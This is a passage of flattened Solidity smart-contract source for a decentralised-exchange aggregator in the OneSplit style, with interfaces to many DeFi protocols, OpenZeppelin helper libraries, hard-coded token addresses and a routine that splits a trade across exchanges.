return a % b;
}
}
// File: contracts/interface/IUniswapExchange.sol
pragma solidity ^0.5.0;
interface IUniswapExchange {
function getEthToTokenInputPrice(uint256 ethSold) external view returns (uint256 tokensBought);
function getTokenToEthInputPrice(uint256 tokensSold) external view returns (uint256 ethBought);
function ethToTokenSwapInput(uint256 minTokens, uint256 deadline)
external
payable
returns (uint256 tokensBought);
function tokenToEthSwapInput(uint256 tokensSold, uint256 minEth, uint256 deadline)
external
returns (uint256 ethBought);
function tokenToTokenSwapInput(
uint256 tokensSold,
uint256 minTokensBought,
uint256 minEthBought,
uint256 deadline,
address tokenAddr
) external returns (uint256 tokensBought);
}
// File: contracts/interface/IUniswapFactory.sol
pragma solidity ^0.5.0;
interface IUniswapFactory {
function getExchange(IERC20 token) external view returns (IUniswapExchange exchange);
}
// File: contracts/interface/IKyberNetworkContract.sol
pragma solidity ^0.5.0;
interface IKyberNetworkContract {
function searchBestRate(IERC20 src, IERC20 dest, uint256 srcAmount, bool usePermissionless)
external
view
returns (address reserve, uint256 rate);
}
// File: contracts/interface/IKyberNetworkProxy.sol
pragma solidity ^0.5.0;
interface IKyberNetworkProxy {
function getExpectedRate(IERC20 src, IERC20 dest, uint256 srcQty)
external
view
returns (uint256 expectedRate, uint256 slippageRate);
function tradeWithHint(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
address destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address walletId,
bytes calldata hint
) external payable returns (uint256);
function kyberNetworkContract() external view returns (IKyberNetworkContract);
// TODO: Limit usage by tx.gasPrice
// function maxGasPrice() external view returns (uint256);
// TODO: Limit usage by user cap
// function getUserCapInWei(address user) external view returns (uint256);
// function getUserCapInTokenWei(address user, IERC20 token) external view returns (uint256);
}
// File: contracts/interface/IKyberUniswapReserve.sol
pragma solidity ^0.5.0;
interface IKyberUniswapReserve {
function uniswapFactory() external view returns (address);
}
// File: contracts/interface/IKyberOasisReserve.sol
pragma solidity ^0.5.0;
interface IKyberOasisReserve {
function otc() external view returns (address);
}
// File: contracts/interface/IKyberBancorReserve.sol
pragma solidity ^0.5.0;
contract IKyberBancorReserve {
function bancorEth() public view returns (address);
}
// File: contracts/interface/IBancorNetwork.sol
pragma solidity ^0.5.0;
interface IBancorNetwork {
function getReturnByPath(address[] calldata path, uint256 amount)
external
view
returns (uint256 returnAmount, uint256 conversionFee);
function claimAndConvert(address[] calldata path, uint256 amount, uint256 minReturn)
external
returns (uint256);
function convert(address[] calldata path, uint256 amount, uint256 minReturn)
external
payable
returns (uint256);
}
// File: contracts/interface/IBancorContractRegistry.sol
pragma solidity ^0.5.0;
contract IBancorContractRegistry {
function addressOf(bytes32 contractName) external view returns (address);
}
// File: contracts/interface/IBancorConverterRegistry.sol
pragma solidity ^0.5.0;
interface IBancorConverterRegistry {
function getConvertibleTokenSmartTokenCount(IERC20 convertibleToken)
external view returns(uint256);
function getConvertibleTokenSmartTokens(IERC20 convertibleToken)
external view returns(address[] memory);
function getConvertibleTokenSmartToken(IERC20 convertibleToken, uint256 index)
external view returns(address);
function isConvertibleTokenSmartToken(IERC20 convertibleToken, address value)
external view returns(bool);
}
// File: contracts/interface/IBancorEtherToken.sol
pragma solidity ^0.5.0;
contract IBancorEtherToken is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// File: contracts/interface/IOasisExchange.sol
pragma solidity ^0.5.0;
interface IOasisExchange {
function getBuyAmount(IERC20 buyGem, IERC20 payGem, uint256 payAmt)
external
view
returns (uint256 fillAmt);
function sellAllAmount(IERC20 payGem, uint256 payAmt, IERC20 buyGem, uint256 minFillAmount)
external
returns (uint256 fillAmt);
}
// File: contracts/interface/IWETH.sol
pragma solidity ^0.5.0;
contract IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// File: contracts/interface/ICurve.sol
pragma solidity ^0.5.0;
interface ICurve {
// solium-disable-next-line mixedcase
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function get_dy(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external;
// solium-disable-next-line mixedcase
function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external;
}
// File: contracts/interface/IChai.sol
pragma solidity ^0.5.0;
interface IPot {
function dsr() external view returns (uint256);
function chi() external view returns (uint256);
function rho() external view returns (uint256);
function drip() external returns (uint256);
function join(uint256) external;
function exit(uint256) external;
}
contract IChai is IERC20 {
function POT() public view returns (IPot);
function join(address dst, uint256 wad) external;
function exit(address src, uint256 wad) external;
}
library ChaiHelper {
IPot private constant POT = IPot(0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7);
uint256 private constant RAY = 10**27;
function _mul(uint256 x, uint256 y) private pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function _rmul(uint256 x, uint256 y) private pure returns (uint256 z) {
// always rounds down
z = _mul(x, y) / RAY;
}
function _rdiv(uint256 x, uint256 y) private pure returns (uint256 z) {
// always rounds down
z = _mul(x, RAY) / y;
}
function rpow(uint256 x, uint256 n, uint256 base) private pure returns (uint256 z) {
// solium-disable-next-line security/no-inline-assembly
assembly {
switch x
case 0 {
switch n
case 0 {
z := base
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := base
}
default {
z := x
}
let half := div(base, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, base)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, base)
}
}
}
}
}
function potDrip() private view returns (uint256) {
return _rmul(rpow(POT.dsr(), now - POT.rho(), RAY), POT.chi());
}
function chaiPrice(IChai chai) internal view returns(uint256) {
return chaiToDai(chai, 1e18);
}
function daiToChai(
IChai /*chai*/,
uint256 amount
) internal view returns (uint256) {
uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi();
return _rdiv(amount, chi);
}
function chaiToDai(
IChai /*chai*/,
uint256 amount
) internal view returns (uint256) {
uint256 chi = (now > POT.rho()) ? potDrip() : POT.chi();
return _rmul(chi, amount);
}
}
// File: contracts/interface/ICompound.sol
pragma solidity ^0.5.0;
contract ICompound {
function markets(address cToken)
external
view
returns (bool isListed, uint256 collateralFactorMantissa);
}
contract ICompoundToken is IERC20 {
function underlying() external view returns (address);
function exchangeRateStored() external view returns (uint256);
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
}
contract ICompoundEther is IERC20 {
function mint() external payable;
function redeem(uint256 redeemTokens) external returns (uint256);
}
// File: contracts/interface/IAaveToken.sol
pragma solidity ^0.5.0;
contract IAaveToken is IERC20 {
function underlyingAssetAddress() external view returns (IERC20);
function redeem(uint256 amount) external;
}
interface IAaveLendingPool {
function core() external view returns (address);
function deposit(IERC20 token, uint256 amount, uint16 refCode) external payable;
}
// File: contracts/interface/IMooniswap.sol
pragma solidity ^0.5.0;
interface IMooniswapRegistry {
function target() external view returns(IMooniswap);
}
interface IMooniswap {
function getReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
)
external
view
returns(uint256 returnAmount);
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn
)
external
payable
returns(uint256 returnAmount);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/UniversalERC20.sol
pragma solidity ^0.5.0;
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000);
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(IERC20 token, address to, uint256 amount) internal returns(bool) {
if (amount == 0) {
return true;
}
if (isETH(token)) {
address(uint160(to)).transfer(amount);
} else {
token.safeTransfer(to, amount);
return true;
}
}
function universalTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
require(from == msg.sender && msg.value >= amount, "Wrong useage of ETH.universalTransferFrom()");
if (to != address(this)) {
address(uint160(to)).transfer(amount);
}
if (msg.value > amount) {
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(from, to, amount);
}
}
function universalTransferFromSenderToThis(IERC20 token, uint256 amount) internal {
if (amount == 0) {
return;
}
if (isETH(token)) {
if (msg.value > amount) {
// Return remainder if exist
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(msg.sender, address(this), amount);
}
}
function universalApprove(IERC20 token, address to, uint256 amount) internal {
if (!isETH(token)) {
if (amount == 0) {
token.safeApprove(to, 0);
return;
}
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function universalDecimals(IERC20 token) internal view returns (uint256) {
if (isETH(token)) {
return 18;
}
(bool success, bytes memory data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("decimals()")
);
if (!success || data.length == 0) {
(success, data) = address(token).staticcall.gas(10000)(
abi.encodeWithSignature("DECIMALS()")
);
}
return (success && data.length > 0) ? abi.decode(data, (uint256)) : 18;
}
function isETH(IERC20 token) internal pure returns(bool) {
return (address(token) == address(ZERO_ADDRESS) || address(token) == address(ETH_ADDRESS));
}
function notExist(IERC20 token) internal pure returns(bool) {
return (address(token) == address(-1));
}
}
// File: contracts/interface/IUniswapV2Exchange.sol
pragma solidity ^0.5.0;
interface IUniswapV2Exchange {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
library UniswapV2ExchangeLib {
using SafeMath for uint256;
using UniversalERC20 for IERC20;
function getReturn(
IUniswapV2Exchange exchange,
IERC20 fromToken,
IERC20 destToken,
uint amountIn
) internal view returns (uint256) {
uint256 reserveIn = fromToken.universalBalanceOf(address(exchange));
uint256 reserveOut = destToken.universalBalanceOf(address(exchange));
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
return (denominator == 0) ? 0 : numerator.div(denominator);
}
}
// File: contracts/interface/IUniswapV2Factory.sol
pragma solidity ^0.5.0;
interface IUniswapV2Factory {
function getPair(IERC20 tokenA, IERC20 tokenB) external view returns (IUniswapV2Exchange pair);
}
// File: contracts/interface/IDForceSwap.sol
pragma solidity ^0.5.0;
interface IDForceSwap {
function getAmountByInput(IERC20 input, IERC20 output, uint256 amount) external view returns(uint256);
function swap(IERC20 input, IERC20 output, uint256 amount) external;
}
// File: contracts/interface/IShell.sol
pragma solidity ^0.5.0;
interface IShell {
function viewOriginTrade(
address origin,
address target,
uint256 originAmount
) external view returns (uint256);
function swapByOrigin(
address origin,
address target,
uint256 originAmount,
uint256 minTargetAmount,
uint256 deadline
) external returns (uint256);
}
// File: contracts/interface/IMStable.sol
pragma solidity ^0.5.0;
contract IMStable is IERC20 {
function getSwapOutput(
IERC20 _input,
IERC20 _output,
uint256 _quantity
)
external
view
returns (bool, string memory, uint256 output);
function swap(
IERC20 _input,
IERC20 _output,
uint256 _quantity,
address _recipient
)
external
returns (uint256 output);
}
// File: contracts/OneSplitBase.sol
pragma solidity ^0.5.0;
//import "./interface/IBancorNetworkPathFinder.sol";
contract IOneSplitView is IOneSplitConsts {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
}
library DisableFlags {
function check(uint256 flags, uint256 flag) internal pure returns(bool) {
return (flags & flag) != 0;
}
}
contract OneSplitRoot {
using SafeMath for uint256;
using DisableFlags for uint256;
using UniversalERC20 for IERC20;
using UniversalERC20 for IWETH;
using UniversalERC20 for IBancorEtherToken;
using UniswapV2ExchangeLib for IUniswapV2Exchange;
using ChaiHelper for IChai;
uint256 constant public DEXES_COUNT = 23;
IERC20 constant internal ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 constant internal dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 constant internal bnt = IERC20(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C);
IERC20 constant internal usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 constant internal usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 constant internal tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
IERC20 constant internal busd = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
IERC20 constant internal susd = IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51);
IERC20 constant internal pax = IERC20(0x8E870D67F660D95d5be530380D0eC0bd388289E1);
IWETH constant internal weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IBancorEtherToken constant internal bancorEtherToken = IBancorEtherToken(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315);
IChai constant internal chai = IChai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215);
IERC20 constant internal renbtc = IERC20(0x93054188d876f558f4a66B2EF1d97d16eDf0895B);
IERC20 constant internal wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 constant internal tbtc = IERC20(0x1bBE271d15Bb64dF0bc6CD28Df9Ff322F2eBD847);
IERC20 constant internal hbtc = IERC20(0x0316EB71485b0Ab14103307bf65a021042c6d380);
IKyberNetworkProxy constant internal kyberNetworkProxy = IKyberNetworkProxy(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
IUniswapFactory constant internal uniswapFactory = IUniswapFactory(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95);
IBancorContractRegistry constant internal bancorContractRegistry = IBancorContractRegistry(0x52Ae12ABe5D8BD778BD5397F99cA900624CfADD4);
//IBancorNetworkPathFinder constant internal bancorNetworkPathFinder = IBancorNetworkPathFinder(0x6F0cD8C4f6F06eAB664C7E3031909452b4B72861);
//IBancorConverterRegistry constant internal bancorConverterRegistry = IBancorConverterRegistry(0xf6E2D7F616B67E46D708e4410746E9AAb3a4C518);
IOasisExchange constant internal oasisExchange = IOasisExchange(0x794e6e91555438aFc3ccF1c5076A74F42133d08D);
ICurve constant internal curveCompound = ICurve(0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56);
ICurve constant internal curveUsdt = ICurve(0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C);
ICurve constant internal curveY = ICurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
ICurve constant internal curveBinance = ICurve(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27);
ICurve constant internal curveSynthetix = ICurve(0xA5407eAE9Ba41422680e2e00537571bcC53efBfD);
ICurve constant internal curvePax = ICurve(0x06364f10B501e868329afBc005b3492902d6C763);
ICurve constant internal curveRenBtc = ICurve(0x8474c1236F0Bc23830A23a41aBB81B2764bA9f4F);
ICurve constant internal curveTBtc = ICurve(0x9726e9314eF1b96E45f40056bEd61A088897313E);
IShell constant internal shell = IShell(0xA8253a440Be331dC4a7395B73948cCa6F19Dc97D);
IAaveLendingPool constant internal aave = IAaveLendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
ICompound constant internal compound = ICompound(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
ICompoundEther constant internal cETH = ICompoundEther(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
IMooniswapRegistry constant internal mooniswapRegistry = IMooniswapRegistry(0x7079E8517594e5b21d2B9a0D17cb33F5FE2bca70);
IUniswapV2Factory constant internal uniswapV2 = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IDForceSwap constant internal dforceSwap = IDForceSwap(0x03eF3f37856bD08eb47E2dE7ABc4Ddd2c19B60F2);
IMStable constant internal musd = IMStable(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5);
function _buildBancorPath(
IERC20 fromToken,
IERC20 destToken
) internal view returns(address[] memory path) {
if (fromToken == destToken) {
return new address[](0);
}
if (fromToken.isETH()) {
fromToken = ETH_ADDRESS;
}
if (destToken.isETH()) {
destToken = ETH_ADDRESS;
}
if (fromToken == bnt || destToken == bnt) {
path = new address[](3);
} else {
path = new address[](5);
}
address fromConverter;
address toConverter;
IBancorConverterRegistry bancorConverterRegistry = IBancorConverterRegistry(bancorContractRegistry.addressOf("BancorConverterRegistry"));
if (fromToken != bnt) {
(bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(100000)(abi.encodeWithSelector(
bancorConverterRegistry.getConvertibleTokenSmartToken.selector,
fromToken.isETH() ? ETH_ADDRESS : fromToken,
0
));
if (!success) {
return new address[](0);
}
fromConverter = abi.decode(data, (address));
if (fromConverter == address(0)) {
return new address[](0);
}
}
if (destToken != bnt) {
(bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(100000)(abi.encodeWithSelector(
bancorConverterRegistry.getConvertibleTokenSmartToken.selector,
destToken.isETH() ? ETH_ADDRESS : destToken,
0
));
if (!success) {
return new address[](0);
}
toConverter = abi.decode(data, (address));
if (toConverter == address(0)) {
return new address[](0);
}
}
if (destToken == bnt) {
path[0] = address(fromToken);
path[1] = fromConverter;
path[2] = address(bnt);
return path;
}
if (fromToken == bnt) {
path[0] = address(bnt);
path[1] = toConverter;
path[2] = address(destToken);
return path;
}
path[0] = address(fromToken);
path[1] = fromConverter;
path[2] = address(bnt);
path[3] = toConverter;
path[4] = address(destToken);
return path;
}
function _getCompoundToken(IERC20 token) internal pure returns(ICompoundToken) {
if (token.isETH()) { // ETH
return ICompoundToken(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
}
if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI
return ICompoundToken(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643);
}
if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT
return ICompoundToken(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E);
}
if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP
return ICompoundToken(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1);
}
if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC
return ICompoundToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563);
}
if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC
return ICompoundToken(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4);
}
if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX
return ICompoundToken(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407);
}
if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT
return ICompoundToken(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9);
}
return ICompoundToken(0);
}
function _getAaveToken(IERC20 token) internal pure returns(IAaveToken) {
if (token.isETH()) { // ETH
return IAaveToken(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04);
}
if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI
return IAaveToken(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d);
}
if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC
return IAaveToken(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E);
}
if (token == IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51)) { // SUSD
return IAaveToken(0x625aE63000f46200499120B906716420bd059240);
}
if (token == IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53)) { // BUSD
return IAaveToken(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8);
}
if (token == IERC20(0x0000000000085d4780B73119b644AE5ecd22b376)) { // TUSD
return IAaveToken(0x4DA9b813057D04BAef4e5800E36083717b4a0341);
}
if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT
return IAaveToken(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8);
}
if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT
return IAaveToken(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00);
}
if (token == IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200)) { // KNC
return IAaveToken(0x9D91BE44C06d373a8a226E1f3b146956083803eB);
}
if (token == IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03)) { // LEND
return IAaveToken(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8);
}
if (token == IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA)) { // LINK
return IAaveToken(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84);
}
if (token == IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942)) { // MANA
return IAaveToken(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f);
}
if (token == IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2)) { // MKR
return IAaveToken(0x7deB5e830be29F91E298ba5FF1356BB7f8146998);
}
if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP
return IAaveToken(0x71010A9D003445aC60C4e6A7017c1E89A477B438);
}
if (token == IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F)) { // SNX
return IAaveToken(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE);
}
if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC
return IAaveToken(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3);
}
if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX
return IAaveToken(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f);
}
return IAaveToken(0);
}
}
contract OneSplitViewWrapBase is IOneSplitView, OneSplitRoot {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = this.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _getExpectedReturnRespectingGasFloor(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _getExpectedReturnRespectingGasFloor(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags, // See constants in IOneSplit.sol
uint256 destTokenEthPriceTimesGasPrice
)
internal
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
}
contract OneSplitView is IOneSplitView, OneSplitRoot {
function _findBestDistribution(
uint256 s, // parts
int256[][DEXES_COUNT] memory amounts // exchangesReturns
) internal pure returns(int256 returnAmount, uint256[] memory distribution) {
uint256 n = amounts.length;
int256[][] memory answer = new int256[][](n); // int[n][s+1]
uint256[][] memory parent = new uint256[][](n); // int[n][s+1]
for (uint i = 0; i < n; i++) {
answer[i] = new int256[](s + 1);
parent[i] = new uint256[](s + 1);
}
for (uint j = 0; j <= s; j++) {
answer[0][j] = amounts[0][j];
parent[0][j] = 0;
}
for (uint i = 1; i < n; i++) {
for (uint j = 0; j <= s; j++) {
answer[i][j] = answer[i - 1][j];
parent[i][j] = j;
for (uint k = 1; k <= j; k++) {
if (answer[i - 1][j - k] + amounts[i][k] > answer[i][j]) {
answer[i][j] = answer[i - 1][j - k] + amounts[i][k];
parent[i][j] = j - k;
}
}
}
}
distribution = new uint256[](DEXES_COUNT);
uint256 partsLeft = s;
for (uint curExchange = n - 1; partsLeft > 0; curExchange--) {
distribution[curExchange] = partsLeft - parent[curExchange][partsLeft];
partsLeft = parent[curExchange][partsLeft];
}
returnAmount = answer[n - 1][s];
